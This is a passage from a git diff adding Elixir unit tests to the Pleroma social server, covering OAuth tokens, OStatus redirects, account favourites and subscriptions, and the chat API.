"client_secret" => app.client_secret + }) + |> json_response(400) + + assert %{"error" => "Invalid credentials"} == response + end + + test "issues a new token if token expired" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + change = + Ecto.Changeset.change( + token, + %{valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -86_400 * 30)} + ) + + {:ok, access_token} = Repo.update(change) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => access_token.refresh_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(200) + + ap_id = user.ap_id + + assert match?( + %{ + "scope" => "write", + "token_type" => "Bearer", + "expires_in" => 600, + "access_token" => _, + "refresh_token" => _, + "me" => ^ap_id + }, + response + ) + + refute Repo.get_by(Token, token: token.token) + token = Repo.get_by(Token, token: response["access_token"]) + assert token + assert token.scopes == auth.scopes + assert token.user_id == user.id + assert token.app_id == app.id + end + end + + describe "POST /oauth/token - bad request" do + test "returns 500" do + response = + build_conn() + |> post("/oauth/token", %{}) + |> json_response(500) + + assert %{"error" => "Bad request"} == response + end + end + + describe "POST /oauth/revoke - bad request" do + test "returns 500" do + response = + build_conn() + |> post("/oauth/revoke", %{}) + |> json_response(500) + + assert %{"error" => "Bad request"} == response + end + end +end diff --git a/test/pleroma/web/o_auth/token/utils_test.exs b/test/pleroma/web/o_auth/token/utils_test.exs new file mode 100644 index 000000000..a610d92f8 --- /dev/null +++ b/test/pleroma/web/o_auth/token/utils_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token.UtilsTest do + use Pleroma.DataCase + alias Pleroma.Web.OAuth.Token.Utils + import Pleroma.Factory + + describe "fetch_app/1" do + test "returns error when credentials is invalid" do + assert {:error, :not_found} = + Utils.fetch_app(%Plug.Conn{params: %{"client_id" => 1, "client_secret" => "x"}}) + end + + test "returns App by params credentails" do + app = insert(:oauth_app) + + assert {:ok, load_app} = + Utils.fetch_app(%Plug.Conn{ + params: %{"client_id" => app.client_id, "client_secret" => app.client_secret} + }) + + assert load_app == app + end + + test "returns App by header credentails" do + app = insert(:oauth_app) + header = "Basic " <> Base.encode64("#{app.client_id}:#{app.client_secret}") + + conn = + %Plug.Conn{} + |> Plug.Conn.put_req_header("authorization", header) + + assert {:ok, load_app} = Utils.fetch_app(conn) + assert load_app == app + end + end + + describe "format_created_at/1" do + test "returns formatted created at" do + token = insert(:oauth_token) + date = Utils.format_created_at(token) + + token_date = + token.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> DateTime.to_unix() + + assert token_date == date + end + end +end diff --git a/test/pleroma/web/o_auth/token_test.exs b/test/pleroma/web/o_auth/token_test.exs new file mode 100644 index 000000000..c88b9cc98 --- /dev/null +++ b/test/pleroma/web/o_auth/token_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.TokenTest do + use Pleroma.DataCase + alias Pleroma.Repo + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + test "exchanges a auth token for an access token, preserving `scopes`" do + {:ok, app} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client", + scopes: ["read", "write"], + redirect_uris: "url" + }) + ) + + user = insert(:user) + + {:ok, auth} = Authorization.create_authorization(app, user, ["read"]) + assert auth.scopes == ["read"] + + {:ok, token} = Token.exchange_token(app, auth) + + assert token.app_id == app.id + assert token.user_id == user.id + assert token.scopes == auth.scopes + assert String.length(token.token) > 10 + assert String.length(token.refresh_token) > 10 + + auth = Repo.get(Authorization, auth.id) + {:error, "already used"} = Token.exchange_token(app, auth) + end + + test "deletes all tokens of a user" do + {:ok, app1} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client1", + scopes: ["scope"], + redirect_uris: "url" + }) + ) + + {:ok, app2} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client2", + scopes: ["scope"], + redirect_uris: "url" + }) + ) + + user = insert(:user) + + {:ok, auth1} = Authorization.create_authorization(app1, user) + {:ok, auth2} = Authorization.create_authorization(app2, user) + + {:ok, _token1} = Token.exchange_token(app1, auth1) + {:ok, _token2} = Token.exchange_token(app2, auth2) + + {tokens, _} = Token.delete_user_tokens(user) + + assert tokens == 2 + end +end diff --git a/test/pleroma/web/o_status/o_status_controller_test.exs b/test/pleroma/web/o_status/o_status_controller_test.exs new file mode 100644 index 000000000..ee498f4b5 --- /dev/null +++ b/test/pleroma/web/o_status/o_status_controller_test.exs @@ -0,0 +1,338 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OStatus.OStatusControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint + + require Pleroma.Constants + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :federating], true) + + describe "Mastodon compatibility routes" do + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + + {:ok, object} = + %{ + "type" => "Note", + "content" => "hey", + "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", + "actor" => Endpoint.url() <> "/users/raymoo", + "to" => [Pleroma.Constants.as_public()] + } + |> Object.create() + + {:ok, activity, _} = + %{ + "id" => object.data["id"] <> "/activity", + "type" => "Create", + "object" => object.data["id"], + "actor" => object.data["actor"], + "to" => object.data["to"] + } + |> ActivityPub.persist(local: true) + + %{conn: conn, activity: activity} + end + + test "redirects to /notice/:id for html format", %{conn: conn, activity: activity} do + conn = get(conn, "/users/raymoo/statuses/999999999") + assert redirected_to(conn) == "/notice/#{activity.id}" + end + + test "redirects to /notice/:id for html format for activity", %{ + conn: conn, + activity: activity + } do + conn = get(conn, "/users/raymoo/statuses/999999999/activity") + assert redirected_to(conn) == "/notice/#{activity.id}" + end + end + + # Note: see ActivityPubControllerTest for JSON format tests + describe "GET /objects/:uuid (text/html)" do + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + %{conn: conn} + end + + test "redirects to /notice/id for html format", %{conn: conn} do + note_activity = insert(:note_activity) + object = Object.normalize(note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) + url = "/objects/#{uuid}" + + conn = get(conn, url) + assert redirected_to(conn) == "/notice/#{note_activity.id}" + end + + test "404s on private objects", %{conn: conn} do + note_activity = insert(:direct_note_activity) + object = Object.normalize(note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) + + conn + |> get("/objects/#{uuid}") + |> response(404) + end + + test "404s on non-existing objects", %{conn: conn} do + conn + |> get("/objects/123") + |> response(404) + end + end + + # Note: see ActivityPubControllerTest for JSON format tests + describe "GET /activities/:uuid (text/html)" do + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + %{conn: conn} + end + + test "redirects to /notice/id for html format", %{conn: conn} do + note_activity = insert(:note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) + + conn = get(conn, "/activities/#{uuid}") + assert redirected_to(conn) == "/notice/#{note_activity.id}" + end + + test "404s on private activities", %{conn: conn} do + note_activity = insert(:direct_note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) + + conn + |> get("/activities/#{uuid}") + |> response(404) + end + + test "404s on nonexistent activities", %{conn: conn} do + conn + |> get("/activities/123") + |> response(404) + end + end + + describe "GET notice/2" do + test "redirects to a proper object URL when json requested and the object is local", %{ + conn: conn + } do + note_activity = insert(:note_activity) + expected_redirect_url = Object.normalize(note_activity).data["id"] + + redirect_url = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/notice/#{note_activity.id}") + |> redirected_to() + + assert redirect_url == expected_redirect_url + end + + test "returns a 404 on remote notice when json requested", %{conn: conn} do + note_activity = insert(:note_activity, local: false) + + conn + |> put_req_header("accept", "application/activity+json") + |> get("/notice/#{note_activity.id}") + |> response(404) + end + + test "500s when actor not found", %{conn: conn} do + note_activity = insert(:note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + User.invalidate_cache(user) + Pleroma.Repo.delete(user) + + conn = + conn + |> get("/notice/#{note_activity.id}") + + assert response(conn, 500) == ~S({"error":"Something went wrong"}) + end + + test "render html for redirect for html format", %{conn: conn} do + note_activity = insert(:note_activity) + + resp = + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{note_activity.id}") + |> response(200) + + assert resp =~ + "" + + user = insert(:user) + + {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) + + assert like_activity.data["type"] == "Like" + + resp = + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{like_activity.id}") + |> response(200) + + assert resp =~ "" + end + + test "404s a private notice", %{conn: conn} do + note_activity = insert(:direct_note_activity) + url = "/notice/#{note_activity.id}" + + conn = + conn + |> get(url) + + assert response(conn, 404) + end + + test "404s a non-existing notice", %{conn: conn} do + url = "/notice/123" + + conn = + conn + |> get(url) + + assert response(conn, 404) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + note_activity = insert(:note_activity) + + conn = put_req_header(conn, "accept", "text/html") + + ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}", user) + end + end + + describe "GET /notice/:id/embed_player" do + setup do + note_activity = insert(:note_activity) + object = Pleroma.Object.normalize(note_activity) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + %{note_activity: note_activity} + end + + test "renders embed player", %{conn: conn, note_activity: note_activity} do + conn = get(conn, "/notice/#{note_activity.id}/embed_player") + + assert Plug.Conn.get_resp_header(conn, "x-frame-options") == ["ALLOW"] + + assert Plug.Conn.get_resp_header( + conn, + "content-security-policy" + ) == [ + "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;" + ] + + assert response(conn, 200) =~ + "" + end + + test "404s when activity isn't create", %{conn: conn} do + note_activity = insert(:note_activity, data_attrs: %{"type" => "Like"}) + + assert conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "404s when activity is direct message", %{conn: conn} do + note_activity = insert(:note_activity, data_attrs: %{"directMessage" => true}) + + assert conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "404s when attachment is empty", %{conn: conn} do + note_activity = insert(:note_activity) + object = Pleroma.Object.normalize(note_activity) + object_data = Map.put(object.data, "attachment", []) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + assert conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "404s when attachment isn't audio or video", %{conn: conn} do + note_activity = insert(:note_activity) + object = Pleroma.Object.normalize(note_activity) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => "https://peertube.moe/static/webseed/480.jpg", + "mediaType" => "image/jpg", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn, + note_activity: note_activity + } do + user = insert(:user) + conn = put_req_header(conn, "accept", "text/html") + + ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}/embed_player", user) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/account_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/account_controller_test.exs new file mode 100644 index 000000000..07909d48b --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/account_controller_test.exs @@ -0,0 +1,284 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.AccountControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + import Swoosh.TestAssertions + + describe "POST /api/v1/pleroma/accounts/confirmation_resend" do + setup do + {:ok, user} = + insert(:user) + |> User.confirmation_changeset(need_confirmation: true) + |> User.update_and_set_cache() + + assert user.confirmation_pending + + [user: user] + end + + setup do: clear_config([:instance, :account_activation_required], true) + + test "resend account confirmation email", %{conn: conn, user: user} do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}") + |> json_response_and_validate_schema(:no_content) + + ObanHelpers.perform_all() + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + + test "resend account confirmation email (with nickname)", %{conn: conn, user: user} do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/accounts/confirmation_resend?nickname=#{user.nickname}") + |> json_response_and_validate_schema(:no_content) + + ObanHelpers.perform_all() + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + end + + describe "getting favorites timeline of specified user" do + setup do + [current_user, user] = insert_pair(:user, hide_favorites: false) + %{user: current_user, conn: conn} = oauth_access(["read:favourites"], user: current_user) + [current_user: current_user, user: user, conn: conn] + end + + test "returns list of statuses favorited by specified user", %{ + conn: conn, + user: user + } do + [activity | _] = insert_pair(:note_activity) + CommonAPI.favorite(user, activity.id) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + [like] = response + + assert length(response) == 1 + assert like["id"] == activity.id + end + + test "returns favorites for specified user_id when requester is not logged in", %{ + user: user + } do + activity = insert(:note_activity) + CommonAPI.favorite(user, activity.id) + + response = + build_conn() + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(200) + + assert length(response) == 1 + end + + test "returns favorited DM only when user is logged in and he is one of recipients", %{ + current_user: current_user, + user: user + } do + {:ok, direct} = + CommonAPI.post(current_user, %{ + status: "Hi @#{user.nickname}!", + visibility: "direct" + }) + + CommonAPI.favorite(user, direct.id) + + for u <- [user, current_user] do + response = + build_conn() + |> assign(:user, u) + |> assign(:token, insert(:oauth_token, user: u, scopes: ["read:favourites"])) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + assert length(response) == 1 + end + + response = + build_conn() + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(200) + + assert length(response) == 0 + end + + test "does not return others' favorited DM when user is not one of recipients", %{ + conn: conn, + user: user + } do + user_two = insert(:user) + + {:ok, direct} = + CommonAPI.post(user_two, %{ + status: "Hi @#{user.nickname}!", + visibility: "direct" + }) + + CommonAPI.favorite(user, direct.id) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "paginates favorites using since_id and max_id", %{ + conn: conn, + user: user + } do + activities = insert_list(10, :note_activity) + + Enum.each(activities, fn activity -> + CommonAPI.favorite(user, activity.id) + end) + + third_activity = Enum.at(activities, 2) + seventh_activity = Enum.at(activities, 6) + + response = + conn + |> get( + "/api/v1/pleroma/accounts/#{user.id}/favourites?since_id=#{third_activity.id}&max_id=#{ + seventh_activity.id + }" + ) + |> json_response_and_validate_schema(:ok) + + assert length(response) == 3 + refute third_activity in response + refute seventh_activity in response + end + + test "limits favorites using limit parameter", %{ + conn: conn, + user: user + } do + 7 + |> insert_list(:note_activity) + |> Enum.each(fn activity -> + CommonAPI.favorite(user, activity.id) + end) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites?limit=3") + |> json_response_and_validate_schema(:ok) + + assert length(response) == 3 + end + + test "returns empty response when user does not have any favorited statuses", %{ + conn: conn, + user: user + } do + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "returns 404 error when specified user is not exist", %{conn: conn} do + conn = get(conn, "/api/v1/pleroma/accounts/test/favourites") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + + test "returns 403 error when user has hidden own favorites", %{conn: conn} do + user = insert(:user, hide_favorites: true) + activity = insert(:note_activity) + CommonAPI.favorite(user, activity.id) + + conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") + + assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} + end + + test "hides favorites for new users by default", %{conn: conn} do + user = insert(:user) + activity = insert(:note_activity) + CommonAPI.favorite(user, activity.id) + + assert user.hide_favorites + conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites") + + assert json_response_and_validate_schema(conn, 403) == %{"error" => "Can't get favorites"} + end + end + + describe "subscribing / unsubscribing" do + test "subscribing / unsubscribing to a user" do + %{user: user, conn: conn} = oauth_access(["follow"]) + subscription_target = insert(:user) + + ret_conn = + conn + |> assign(:user, user) + |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") + + assert %{"id" => _id, "subscribing" => true} = + json_response_and_validate_schema(ret_conn, 200) + + conn = post(conn, "/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") + + assert %{"id" => _id, "subscribing" => false} = json_response_and_validate_schema(conn, 200) + end + end + + describe "subscribing" do + test "returns 404 when subscription_target not found" do + %{conn: conn} = oauth_access(["write:follows"]) + + conn = post(conn, "/api/v1/pleroma/accounts/target_id/subscribe") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) + end + end + + describe "unsubscribing" do + test "returns 404 when subscription_target not found" do + %{conn: conn} = oauth_access(["follow"]) + + conn = post(conn, "/api/v1/pleroma/accounts/target_id/unsubscribe") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs new file mode 100644 index 000000000..11d5ba373 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs @@ -0,0 +1,410 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only +defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "POST /api/v1/pleroma/chats/:id/messages/:message_id/read" do + setup do: oauth_access(["write:chats"]) + + test "it marks one message as read", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") + {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + object = Object.normalize(create, false) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == true + + result = + conn + |> post("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}/read") + |> json_response_and_validate_schema(200) + + assert result["unread"] == false + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == false + end + end + + describe "POST /api/v1/pleroma/chats/:id/read" do + setup do: oauth_access(["write:chats"]) + + test "given a `last_read_id`, it marks everything until then as read", %{ + conn: conn, + user: user + } do + other_user = insert(:user) + + {:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup") + {:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2") + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + object = Object.normalize(create, false) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == true + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/read", %{"last_read_id" => cm_ref.id}) + |> json_response_and_validate_schema(200) + + assert result["unread"] == 1 + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + assert cm_ref.unread == false + end + end + + describe "POST /api/v1/pleroma/chats/:id/messages" do + setup do: oauth_access(["write:chats"]) + + test "it posts a message to the chat", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "Hallo!!"}) + |> json_response_and_validate_schema(200) + + assert result["content"] == "Hallo!!" + assert result["chat_id"] == chat.id |> to_string() + end + + test "it fails if there is no content", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(400) + + assert %{"error" => "no_content"} == result + end + + test "it works with an attachment", %{conn: conn, user: user} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{ + "media_id" => to_string(upload.id) + }) + |> json_response_and_validate_schema(200) + + assert result["attachment"] + end + + test "gets MRF reason when rejected", %{conn: conn, user: user} do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) + |> json_response_and_validate_schema(422) + + assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result + end + end + + describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do + setup do: oauth_access(["write:chats"]) + + test "it deletes a message from the chat", %{conn: conn, user: user} do + recipient = insert(:user) + + {:ok, message} = + CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") + + {:ok, other_message} = CommonAPI.post_chat_message(recipient, user, "nico nico ni") + + object = Object.normalize(message, false) + + chat = Chat.get(user.id, recipient.ap_id) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + + # Deleting your own message removes the message and the reference + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) + + # Deleting other people's messages just removes the reference + object = Object.normalize(other_message, false) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + assert Object.get_by_id(object.id) + end + end + + describe "GET /api/v1/pleroma/chats/:id/messages" do + setup do: oauth_access(["read:chats"]) + + test "it paginates", %{conn: conn, user: user} do + recipient = insert(:user) + + Enum.each(1..30, fn _ -> + {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") + end) + + chat = Chat.get(user.id, recipient.ap_id) + + response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages") + result = json_response_and_validate_schema(response, 200) + + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + api_endpoint = "/api/v1/pleroma/chats/" + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&min_id=.*; rel=\"prev\"$) + ) + + assert length(result) == 20 + + response = + get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + + result = json_response_and_validate_schema(response, 200) + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*&min_id=.*; rel=\"prev\"$) + ) + + assert length(result) == 10 + end + + test "it returns the messages for a given chat", %{conn: conn, user: user} do + other_user = insert(:user) + third_user = insert(:user) + + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") + {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") + + chat = Chat.get(user.id, other_user.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + result + |> Enum.each(fn message -> + assert message["chat_id"] == chat.id |> to_string() + end) + + assert length(result) == 3 + + # Trying to get the chat of a different user + conn + |> assign(:user, other_user) + |> get("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(404) + end + end + + describe "POST /api/v1/pleroma/chats/by-account-id/:id" do + setup do: oauth_access(["write:chats"]) + + test "it creates or returns a chat", %{conn: conn} do + other_user = insert(:user) + + result = + conn + |> post("/api/v1/pleroma/chats/by-account-id/#{other_user.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] + end + end + + describe "GET /api/v1/pleroma/chats/:id" do + setup do: oauth_access(["read:chats"]) + + test "it returns a chat", %{conn: conn, user: user} do + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats/#{chat.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == to_string(chat.id) + end + end + + describe "GET /api/v1/pleroma/chats" do + setup do: oauth_access(["read:chats"]) + + test "it does not return chats with deleted users", %{conn: conn, user: user} do + recipient = insert(:user) + {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) + + Pleroma.Repo.delete(recipient) + User.invalidate_cache(recipient) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 0 + end + + test "it does not return chats with users you blocked", %{conn: conn, user: user} do + recipient = insert(:user) + + {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 1 + + User.block(user, recipient) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 0 + end + + test "it returns all chats", %{conn: conn, user: user} do + Enum.each(1..30, fn _ -> + recipient = insert(:user) + {:ok, _} = Chat.get_or_create(user.id, recipient.ap_id) + end) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + assert length(result) == 30 + end + + test "it return a list of chats the current user is participating in, in descending order of updates", + %{conn: conn, user: user} do + har = insert(:user) + jafnhar = insert(:user) + tridi = insert(:user) + + {:ok, chat_1} = Chat.get_or_create(user.id, har.ap_id) + :timer.sleep(1000) + {:ok, _chat_2} = Chat.get_or_create(user.id, jafnhar.ap_id) + :timer.sleep(1000) + {:ok, chat_3} = Chat.get_or_create(user.id, tridi.ap_id) + :timer.sleep(1000) + + # bump the second one + {:ok, chat_2} = Chat.bump_or_create(user.id, jafnhar.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + ids = Enum.map(result, & &1["id"]) + + assert ids == [ + chat_2.id |> to_string(), + chat_3.id |> to_string(), + chat_1.id |> to_string() + ] + end + + test "it is not affected by :restrict_unauthenticated setting (issue #1973)", %{ + conn: conn, + user: user + } do + clear_config([:restrict_unauthenticated, :profiles, :local], true) + clear_config([:restrict_unauthenticated, :profiles, :remote], true) + + user2 = insert(:user) + user3 = insert(:user, local: false) + + {:ok, _chat_12} = Chat.get_or_create(user.id, user2.ap_id) + {:ok, _chat_13} = Chat.get_or_create(user.id, user3.ap_id) + + result = + conn + |> get("/api/v1/pleroma/chats") + |> json_response_and_validate_schema(200) + + account_ids = Enum.map(result, &get_in(&1, ["account", "id"])) + assert Enum.sort(account_ids) == Enum.sort([user2.id, user3.id]) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs 